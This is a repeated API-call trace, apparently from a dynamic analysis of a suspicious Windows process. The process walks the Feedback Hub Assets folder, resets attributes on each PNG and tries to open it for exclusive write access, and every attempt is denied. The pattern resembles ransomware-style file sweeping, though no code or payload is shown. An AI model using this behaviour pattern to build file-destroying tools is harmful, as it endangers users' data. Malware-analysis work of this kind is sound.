	[0090.193] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.193] GetLastError () returned 0x5
	[0090.193] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.193] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.193] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510271f8, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5104d472, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5104d472, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashScreen.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.193] wcscmp (_String1="InsiderHubSplashScreen.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.193] wcscmp (_String1="InsiderHubSplashScreen.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.193] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x154) returned 0x4732810
	[0090.193] wcscpy (in: _Dest=0x4732810, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.193] wcscat (in: _Dest=0x4732810, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.193] wcscat (in: _Dest=0x4732810, _Source="InsiderHubSplashScreen.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png"
	[0090.194] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100_contrast-white.png")) returned 0x20
	[0090.198] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.198] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashscreen.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.198] GetLastError () returned 0x5
	[0090.198] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashScreen.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.198] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4732810) returned 1
	[0090.198] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5104d472, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5104d472, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5104d472, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashSquareTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.198] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100.png", _String2=".") returned 1
	[0090.198] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100.png", _String2="..") returned 1
	[0090.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x2d7c580
	[0090.198] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.198] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.198] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashSquareTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png"
	[0090.198] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100.png")) returned 0x20
	[0090.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.199] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.199] GetLastError () returned 0x5
	[0090.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.199] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.199] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5104d472, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5104d472, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5104d472, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xf80, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashSquareTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.199] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.199] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15c) returned 0x2d7c580
	[0090.199] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.199] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.199] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashSquareTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png"
	[0090.199] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100_contrast-black.png")) returned 0x20
	[0090.199] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.200] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.200] GetLastError () returned 0x5
	[0090.200] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.200] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.200] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5104d472, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510736d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510736d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1144, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashSquareTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.200] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.200] wcscmp (_String1="InsiderHubSplashSquareTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x15c) returned 0x2d7c580
	[0090.200] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.200] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.200] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashSquareTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png"
	[0090.200] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100_contrast-white.png")) returned 0x20
	[0090.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashsquaretile.scale-100_contrast-white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.201] GetLastError () returned 0x5
	[0090.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashSquareTile.scale-100_contrast-white.png", dwFileAttributes=0x20) returned 0
	[0090.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.201] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510736d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510736d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510736d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashWideTile.scale-100.png", cAlternateFileName="")) returned 1
	[0090.201] wcscmp (_String1="InsiderHubSplashWideTile.scale-100.png", _String2=".") returned 1
	[0090.201] wcscmp (_String1="InsiderHubSplashWideTile.scale-100.png", _String2="..") returned 1
	[0090.201] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13a) returned 0x2d7c580
	[0090.201] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.201] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.201] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashWideTile.scale-100.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png"
	[0090.201] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100.png")) returned 0x20
	[0090.205] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.205] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.205] GetLastError () returned 0x5
	[0090.205] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100.png", dwFileAttributes=0x20) returned 0
	[0090.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.206] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510736d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510736d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510736d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashWideTile.scale-100_contrast-black.png", cAlternateFileName="")) returned 1
	[0090.206] wcscmp (_String1="InsiderHubSplashWideTile.scale-100_contrast-black.png", _String2=".") returned 1
	[0090.206] wcscmp (_String1="InsiderHubSplashWideTile.scale-100_contrast-black.png", _String2="..") returned 1
	[0090.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x158) returned 0x2d7c580
	[0090.206] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.206] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.206] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashWideTile.scale-100_contrast-black.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png"
	[0090.206] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100_contrast-black.png")) returned 0x20
	[0090.206] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.206] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100_contrast-black.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.206] GetLastError () returned 0x5
	[0090.206] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-black.png", dwFileAttributes=0x20) returned 0
	[0090.206] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c580) returned 1
	[0090.206] FindNextFileW (in: hFindFile=0x477ac68, lpFindFileData=0x502bad8 | out: lpFindFileData=0x502bad8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510736d0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x510736d0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x510736d0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x500, dwReserved0=0x0, dwReserved1=0x0, cFileName="InsiderHubSplashWideTile.scale-100_contrast-white.png", cAlternateFileName="")) returned 1
	[0090.206] wcscmp (_String1="InsiderHubSplashWideTile.scale-100_contrast-white.png", _String2=".") returned 1
	[0090.206] wcscmp (_String1="InsiderHubSplashWideTile.scale-100_contrast-white.png", _String2="..") returned 1
	[0090.206] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x158) returned 0x2d7c580
	[0090.206] wcscpy (in: _Dest=0x2d7c580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0090.206] wcscat (in: _Dest=0x2d7c580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\"
	[0090.207] wcscat (in: _Dest=0x2d7c580, _Source="InsiderHubSplashWideTile.scale-100_contrast-white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png"
	[0090.207] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets\\InsiderHubSplashWideTile.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_neutral_split.scale-100_8wekyb3d8bbwe\\assets\\insiderhubsplashwidetile.scale-100_contrast-white.png")) returned 0x20
